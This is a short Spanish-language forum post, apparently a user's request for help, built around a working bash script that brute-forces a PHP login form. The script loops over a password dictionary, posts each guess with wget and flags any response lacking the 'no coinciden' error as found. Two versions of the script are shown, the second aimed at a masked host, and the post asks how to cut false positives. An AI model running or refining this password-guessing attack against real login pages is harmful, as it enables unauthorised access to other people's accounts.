No para hacer nada malo.
Código
echo "Bruteforce attack!"; USUARIO=$1 DICCIONARIO=$2 LINEAS=`cat $DICCIONARIO | wc -l` echo -e "User: $USUARIO\nReading: $DICCIONARIO" i=0; while read pass; do i=$(($i+1)); # echo -n "[*] $pass: "; if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]]; then echo -ne "[*] $i de $(($LINEAS-1)) \r"; else echo "Found $pass"; exit; fi done < $DICCIONARIO
Salida:
Código
sh brute.sh juan numeros.txt Bruteforce attack! User: profe Reading: numeros.txt [*] 7 de 293
El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el wget es como que le "apuro" no recibe el paquete o algo,
¿Cómo podría solucionar esto?
Versión mejorada:
Código
echo "Bruteforce attack!"; USUARIO=$1 DICCIONARIO=$2 LINEAS=`cat $DICCIONARIO | wc -l` echo -e "User: $USUARIO\nReading: $DICCIONARIO" i=0; while read pass; do i=$(($i+1)); #echo -n "[*] $pass: "; if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]]; then echo -ne "[*] $i de $(($LINEAS)) \r"; else echo "(False positive?) Found $pass"; fi done < $DICCIONARIO
Gracias, Saludos!